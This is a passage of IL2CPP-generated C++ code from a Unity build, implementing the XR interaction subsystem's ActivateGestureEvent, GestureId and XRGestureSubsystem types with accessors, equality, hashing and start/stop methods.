ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { { // public GestureState state { get { return m_State; } } int32_t L_0 = __this->get_m_State_1(); return L_0; } } IL2CPP_EXTERN_C int32_t ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); int32_t _returnValue; _returnValue = ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_inline(_thisAdjusted, method); return _returnValue; } // System.Void UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::.ctor(UnityEngine.XR.InteractionSubsystems.GestureId,UnityEngine.XR.InteractionSubsystems.GestureState) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void ActivateGestureEvent__ctor_m7F6889967D16929F4C531763135BBABBF6679B34 (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___id0, int32_t ___state1, const RuntimeMethod* method) { { // m_Id = id; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0 = ___id0; __this->set_m_Id_0(L_0); // m_State = state; int32_t L_1 = ___state1; __this->set_m_State_1(L_1); // } return; } } IL2CPP_EXTERN_C void ActivateGestureEvent__ctor_m7F6889967D16929F4C531763135BBABBF6679B34_AdjustorThunk (RuntimeObject * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___id0, int32_t ___state1, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); ActivateGestureEvent__ctor_m7F6889967D16929F4C531763135BBABBF6679B34(_thisAdjusted, ___id0, ___state1, method); } // System.String UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::ToString() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* ActivateGestureEvent_ToString_m96B08FE16ECE92F438F651912E4996A74D693A99 (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&GestureState_tF46000290CC6332630D7FE0425DA51EB79CBE557_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&_stringLiteral72762D92721098FADE7768C799E282A57A12DFD1); s_Il2CppMethodInitialized = true; } { // return string.Format( // "Plane:\n\tid: {0}\n\tstate: {1}\n\t", // id, state); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0; L_0 = ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_inline((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)__this, /*hidden argument*/NULL); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_1 = L_0; RuntimeObject * L_2 = Box(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var, &L_1); int32_t L_3; L_3 = ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_inline((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)__this, /*hidden argument*/NULL); int32_t L_4 = L_3; RuntimeObject * L_5 = Box(GestureState_tF46000290CC6332630D7FE0425DA51EB79CBE557_il2cpp_TypeInfo_var, &L_4); String_t* L_6; L_6 = String_Format_m8D1CB0410C35E052A53AE957C914C841E54BAB66(_stringLiteral72762D92721098FADE7768C799E282A57A12DFD1, L_2, L_5, /*hidden argument*/NULL); return L_6; } } IL2CPP_EXTERN_C String_t* ActivateGestureEvent_ToString_m96B08FE16ECE92F438F651912E4996A74D693A99_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); String_t* _returnValue; _returnValue = ActivateGestureEvent_ToString_m96B08FE16ECE92F438F651912E4996A74D693A99(_thisAdjusted, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool ActivateGestureEvent_Equals_m67BA9BDF17D127EE0FC78B348F84A9408A5868AE (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // if (ReferenceEquals(null, obj)) return false; RuntimeObject * L_0 = ___obj0; if (L_0) { goto IL_0005; } } { // if (ReferenceEquals(null, obj)) return false; return (bool)0; } IL_0005: { // return obj is ActivateGestureEvent && Equals((ActivateGestureEvent)obj); RuntimeObject * L_1 = ___obj0; if (!((RuntimeObject *)IsInstSealed((RuntimeObject*)L_1, ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337_il2cpp_TypeInfo_var))) { goto IL_001a; } } { RuntimeObject * L_2 = ___obj0; bool L_3; L_3 = ActivateGestureEvent_Equals_mC5DAF034F58E81A120AFE4252409C2E1DA9BFA4F((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)__this, ((*(ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)UnBox(L_2, ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); return L_3; } IL_001a: { return (bool)0; } } IL2CPP_EXTERN_C bool ActivateGestureEvent_Equals_m67BA9BDF17D127EE0FC78B348F84A9408A5868AE_AdjustorThunk (RuntimeObject * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = ActivateGestureEvent_Equals_m67BA9BDF17D127EE0FC78B348F84A9408A5868AE(_thisAdjusted, ___obj0, method); return _returnValue; } // System.Int32 UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t ActivateGestureEvent_GetHashCode_m77D3DC20DF22EAEC4BDD30DACF066698D1BADDEF (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, const RuntimeMethod* method) { int32_t V_0 = 0; { // var hashCode = m_Id.GetHashCode(); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * L_0 = __this->get_address_of_m_Id_0(); int32_t L_1; L_1 = GestureId_GetHashCode_mA995D0A5FE0A2D84EAD74678AED691BF0764A859((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 *)L_0, /*hidden argument*/NULL); // hashCode = (hashCode * 486187739) + ((int)m_State).GetHashCode(); int32_t L_2 = __this->get_m_State_1(); V_0 = L_2; int32_t L_3; L_3 = Int32_GetHashCode_mEDD3F492A5F7CF021125AE3F38E2B8F8743FC667((int32_t*)(&V_0), /*hidden argument*/NULL); // return hashCode; return ((int32_t)il2cpp_codegen_add((int32_t)((int32_t)il2cpp_codegen_multiply((int32_t)L_1, (int32_t)((int32_t)486187739))), (int32_t)L_3)); } } IL2CPP_EXTERN_C int32_t ActivateGestureEvent_GetHashCode_m77D3DC20DF22EAEC4BDD30DACF066698D1BADDEF_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); int32_t _returnValue; _returnValue = ActivateGestureEvent_GetHashCode_m77D3DC20DF22EAEC4BDD30DACF066698D1BADDEF(_thisAdjusted, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent::Equals(UnityEngine.XR.InteractionSubsystems.ActivateGestureEvent) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool ActivateGestureEvent_Equals_mC5DAF034F58E81A120AFE4252409C2E1DA9BFA4F (ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * __this, ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 ___other0, const RuntimeMethod* method) { { // return // m_Id.Equals(other.id) && // m_State == other.state; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * L_0 = __this->get_address_of_m_Id_0(); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_1; L_1 = ActivateGestureEvent_get_id_m3C47C344C0B330763EECF0BAD3141B49DA7C31BF_inline((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)(&___other0), /*hidden argument*/NULL); bool L_2; L_2 = GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 *)L_0, L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_0024; } } { int32_t L_3 = __this->get_m_State_1(); int32_t L_4; L_4 = ActivateGestureEvent_get_state_mFA6571C6785D4870444F4F06966C3FA7B495B80D_inline((ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 *)(&___other0), /*hidden argument*/NULL); return (bool)((((int32_t)L_3) == ((int32_t)L_4))? 1 : 0); } IL_0024: { return (bool)0; } } IL2CPP_EXTERN_C bool ActivateGestureEvent_Equals_mC5DAF034F58E81A120AFE4252409C2E1DA9BFA4F_AdjustorThunk (RuntimeObject * __this, ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 ___other0, const RuntimeMethod* method) { int32_t _offset = 1; ActivateGestureEvent_tE62B374FD7C61FB39DBE074BAC40308F033D4337 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = ActivateGestureEvent_Equals_mC5DAF034F58E81A120AFE4252409C2E1DA9BFA4F(_thisAdjusted, ___other0, method); return _returnValue; } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // UnityEngine.XR.InteractionSubsystems.GestureId UnityEngine.XR.InteractionSubsystems.GestureId::get_invalidId() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 GestureId_get_invalidId_m6C555BA41070FF97334FC610C0BD226508823AB5 (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // public static GestureId invalidId { get { return s_InvalidId; } } IL2CPP_RUNTIME_CLASS_INIT(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0 = ((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_StaticFields*)il2cpp_codegen_static_fields_for(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var))->get_s_InvalidId_0(); return L_0; } } // System.UInt64 UnityEngine.XR.InteractionSubsystems.GestureId::get_subId1() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR uint64_t GestureId_get_subId1_m547C714F376171ADAA9449F4E35F2E6161DB9364 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method) { { // get { return m_SubId1; } uint64_t L_0 = __this->get_m_SubId1_1(); return L_0; } } IL2CPP_EXTERN_C uint64_t GestureId_get_subId1_m547C714F376171ADAA9449F4E35F2E6161DB9364_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); uint64_t _returnValue; _returnValue = GestureId_get_subId1_m547C714F376171ADAA9449F4E35F2E6161DB9364_inline(_thisAdjusted, method); return _returnValue; } // System.Void UnityEngine.XR.InteractionSubsystems.GestureId::set_subId1(System.UInt64) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void GestureId_set_subId1_m666DE846D8E289BBCE2CFD8DCE41E294EC1BC00C (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, uint64_t ___value0, const RuntimeMethod* method) { { // set { m_SubId1 = value; } uint64_t L_0 = ___value0; __this->set_m_SubId1_1(L_0); // set { m_SubId1 = value; } return; } } IL2CPP_EXTERN_C void GestureId_set_subId1_m666DE846D8E289BBCE2CFD8DCE41E294EC1BC00C_AdjustorThunk (RuntimeObject * __this, uint64_t ___value0, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); GestureId_set_subId1_m666DE846D8E289BBCE2CFD8DCE41E294EC1BC00C_inline(_thisAdjusted, ___value0, method); } // System.Void UnityEngine.XR.InteractionSubsystems.GestureId::.ctor(System.UInt64,System.UInt64) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void GestureId__ctor_mF83271CB44FEC441DD9FF00ED3FD7EF0D49087CE (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, uint64_t ___subId10, uint64_t ___subId21, const RuntimeMethod* method) { { // m_SubId1 = subId1; uint64_t L_0 = ___subId10; __this->set_m_SubId1_1(L_0); // m_SubId2 = subId2; uint64_t L_1 = ___subId21; __this->set_m_SubId2_2(L_1); // } return; } } IL2CPP_EXTERN_C void GestureId__ctor_mF83271CB44FEC441DD9FF00ED3FD7EF0D49087CE_AdjustorThunk (RuntimeObject * __this, uint64_t ___subId10, uint64_t ___subId21, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); GestureId__ctor_mF83271CB44FEC441DD9FF00ED3FD7EF0D49087CE(_thisAdjusted, ___subId10, ___subId21, method); } // System.String UnityEngine.XR.InteractionSubsystems.GestureId::ToString() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR String_t* GestureId_ToString_m88F7C9AFBCEA9986B0F39C59168E2F31FF73CD8C (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&_stringLiteralFBAF124AB08242B7785EC2B6DBC3C6459CB98BC8); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&_stringLiteralFDA1C52D0E58360F4E8FD608757CCD98D8772D4F); s_Il2CppMethodInitialized = true; } { // return string.Format("{0}-{1}", // m_SubId1.ToString("X16"), // m_SubId2.ToString("X16")); uint64_t* L_0 = __this->get_address_of_m_SubId1_1(); String_t* L_1; L_1 = UInt64_ToString_mFE48F1D174A1F741AB0795C1164BF45BF37F86E6((uint64_t*)L_0, _stringLiteralFDA1C52D0E58360F4E8FD608757CCD98D8772D4F, /*hidden argument*/NULL); uint64_t* L_2 = __this->get_address_of_m_SubId2_2(); String_t* L_3; L_3 = UInt64_ToString_mFE48F1D174A1F741AB0795C1164BF45BF37F86E6((uint64_t*)L_2, _stringLiteralFDA1C52D0E58360F4E8FD608757CCD98D8772D4F, /*hidden argument*/NULL); String_t* L_4; L_4 = String_Format_m8D1CB0410C35E052A53AE957C914C841E54BAB66(_stringLiteralFBAF124AB08242B7785EC2B6DBC3C6459CB98BC8, L_1, L_3, /*hidden argument*/NULL); return L_4; } } IL2CPP_EXTERN_C String_t* GestureId_ToString_m88F7C9AFBCEA9986B0F39C59168E2F31FF73CD8C_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); String_t* _returnValue; _returnValue = GestureId_ToString_m88F7C9AFBCEA9986B0F39C59168E2F31FF73CD8C(_thisAdjusted, method); return _returnValue; } // System.Int32 UnityEngine.XR.InteractionSubsystems.GestureId::GetHashCode() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t GestureId_GetHashCode_mA995D0A5FE0A2D84EAD74678AED691BF0764A859 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, const RuntimeMethod* method) { { // var hash = m_SubId1.GetHashCode(); uint64_t* L_0 = __this->get_address_of_m_SubId1_1(); int32_t L_1; L_1 = UInt64_GetHashCode_mCDF662897A3F02CED11A9F9E66C5BF4E28C02B33((uint64_t*)L_0, /*hidden argument*/NULL); // return hash * 486187739 + m_SubId2.GetHashCode(); uint64_t* L_2 = __this->get_address_of_m_SubId2_2(); int32_t L_3; L_3 = UInt64_GetHashCode_mCDF662897A3F02CED11A9F9E66C5BF4E28C02B33((uint64_t*)L_2, /*hidden argument*/NULL); return ((int32_t)il2cpp_codegen_add((int32_t)((int32_t)il2cpp_codegen_multiply((int32_t)L_1, (int32_t)((int32_t)486187739))), (int32_t)L_3)); } } IL2CPP_EXTERN_C int32_t GestureId_GetHashCode_mA995D0A5FE0A2D84EAD74678AED691BF0764A859_AdjustorThunk (RuntimeObject * __this, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); int32_t _returnValue; _returnValue = GestureId_GetHashCode_mA995D0A5FE0A2D84EAD74678AED691BF0764A859(_thisAdjusted, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.GestureId::Equals(System.Object) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool GestureId_Equals_m62867D3E0936F9EEBF480B4C1B4CB42278057976 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // return obj is GestureId && Equals((GestureId)obj); RuntimeObject * L_0 = ___obj0; if (!((RuntimeObject *)IsInstSealed((RuntimeObject*)L_0, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var))) { goto IL_0015; } } { RuntimeObject * L_1 = ___obj0; bool L_2; L_2 = GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 *)__this, ((*(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 *)((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 *)UnBox(L_1, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); return L_2; } IL_0015: { return (bool)0; } } IL2CPP_EXTERN_C bool GestureId_Equals_m62867D3E0936F9EEBF480B4C1B4CB42278057976_AdjustorThunk (RuntimeObject * __this, RuntimeObject * ___obj0, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = GestureId_Equals_m62867D3E0936F9EEBF480B4C1B4CB42278057976(_thisAdjusted, ___obj0, method); return _returnValue; } // System.Boolean UnityEngine.XR.InteractionSubsystems.GestureId::Equals(UnityEngine.XR.InteractionSubsystems.GestureId) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698 (GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___other0, const RuntimeMethod* method) { { // return (m_SubId1 == other.m_SubId1) && (m_SubId2 == other.m_SubId2); uint64_t L_0 = __this->get_m_SubId1_1(); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_1 = ___other0; uint64_t L_2 = L_1.get_m_SubId1_1(); if ((!(((uint64_t)L_0) == ((uint64_t)L_2)))) { goto IL_001d; } } { uint64_t L_3 = __this->get_m_SubId2_2(); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_4 = ___other0; uint64_t L_5 = L_4.get_m_SubId2_2(); return (bool)((((int64_t)L_3) == ((int64_t)L_5))? 1 : 0); } IL_001d: { return (bool)0; } } IL2CPP_EXTERN_C bool GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698_AdjustorThunk (RuntimeObject * __this, GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 ___other0, const RuntimeMethod* method) { int32_t _offset = 1; GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 * _thisAdjusted = reinterpret_cast(__this + _offset); bool _returnValue; _returnValue = GestureId_Equals_m51FF986A93535F81A252748A33865636E9FB9698(_thisAdjusted, ___other0, method); return _returnValue; } // System.Void UnityEngine.XR.InteractionSubsystems.GestureId::.cctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void GestureId__cctor_m4B7A3762496D50B655657F3112D0EBEF637E5BD2 (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } { // static GestureId s_InvalidId = new GestureId(0, 0); GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7 L_0; memset((&L_0), 0, sizeof(L_0)); GestureId__ctor_mF83271CB44FEC441DD9FF00ED3FD7EF0D49087CE((&L_0), ((int64_t)((int64_t)0)), ((int64_t)((int64_t)0)), /*hidden argument*/NULL); ((GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_StaticFields*)il2cpp_codegen_static_fields_for(GestureId_tF3EFA115E02FC8A313B1019689130A09419B1EC7_il2cpp_TypeInfo_var))->set_s_InvalidId_0(L_0); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Boolean UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::get_running() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool XRGestureSubsystem_get_running_mC120D0558E12F6062986E30A909C7FC3E2FFE11B (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // public sealed override bool running { get { return m_Running; } } bool L_0 = __this->get_m_Running_1(); return L_0; } } // Unity.Collections.NativeArray`1 UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::get_activateGestureEvents() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 XRGestureSubsystem_get_activateGestureEvents_m8D6A34660BC3A5E8438138BF705710F1B6D5D3C6 (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // public NativeArray activateGestureEvents { get { return m_Provider.activateGestureEvents; } } Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_0 = __this->get_m_Provider_2(); NullCheck(L_0); NativeArray_1_t8D140318CDC9E42C91BBDF4BD053D165A2527E07 L_1; L_1 = Provider_get_activateGestureEvents_mDC6FBA85506A66C8127186509520BC8605084C6C_inline(L_0, /*hidden argument*/NULL); return L_1; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::.ctor() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystem__ctor_m971245C11BB0663140CA8A073EC87000071E1F0E (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Subsystem_1__ctor_mEE987A8D6EA9F896678151DE5CF2D350E09AF6E8_RuntimeMethod_var); s_Il2CppMethodInitialized = true; } { // public XRGestureSubsystem() Subsystem_1__ctor_mEE987A8D6EA9F896678151DE5CF2D350E09AF6E8(__this, /*hidden argument*/Subsystem_1__ctor_mEE987A8D6EA9F896678151DE5CF2D350E09AF6E8_RuntimeMethod_var); // m_Provider = CreateProvider(); Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_0; L_0 = VirtFuncInvoker0< Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * >::Invoke(11 /* UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::CreateProvider() */, __this); __this->set_m_Provider_2(L_0); // } return; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::Start() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystem_Start_mCC3D52DD36F0881A0DFA8A78749C7F67D45B883A (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // if (!m_Running) bool L_0 = __this->get_m_Running_1(); if (L_0) { goto IL_0013; } } { // m_Provider.Start(); Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_1 = __this->get_m_Provider_2(); NullCheck(L_1); VirtActionInvoker0::Invoke(4 /* System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::Start() */, L_1); } IL_0013: { // m_Running = true; __this->set_m_Running_1((bool)1); // } return; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::Stop() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystem_Stop_mF6693335E20C34C3A031A87D52B4E343CF336214 (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // if (m_Running) bool L_0 = __this->get_m_Running_1(); if (!L_0) { goto IL_0013; } } { // m_Provider.Stop(); Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_1 = __this->get_m_Provider_2(); NullCheck(L_1); VirtActionInvoker0::Invoke(5 /* System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::Stop() */, L_1); } IL_0013: { // m_Running = false; __this->set_m_Running_1((bool)0); // } return; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::OnDestroy() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystem_OnDestroy_mC0460657B0DF56490859E90AEE30F8C2C4B6334C (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // Stop(); VirtActionInvoker0::Invoke(9 /* System.Void UnityEngine.Subsystem::Stop() */, __this); // m_Provider.Destroy(); Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_0 = __this->get_m_Provider_2(); NullCheck(L_0); VirtActionInvoker0::Invoke(7 /* System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::Destroy() */, L_0); // } return; } } // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem::Update() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void XRGestureSubsystem_Update_mBCCB8C6A494652FC3F495ABA94B79CB73FF5D7EE (XRGestureSubsystem_t9CE9DF7141C4363F8917D3F006EBB9FAE322AF02 * __this, const RuntimeMethod* method) { { // m_Provider.Update(); Provider_tD40F591BB43CACCAB087EF72306FD614DFFFE058 * L_0 = __this->get_m_Provider_2(); NullCheck(L_0); VirtActionInvoker0::Invoke(6 /* System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystem/Provider::Update() */, L_0); // } return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor::RegisterDescriptor(UnityEngine.XR.InteractionSubsystems.XRGestureSubsystemDescriptor/Cinfo) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void 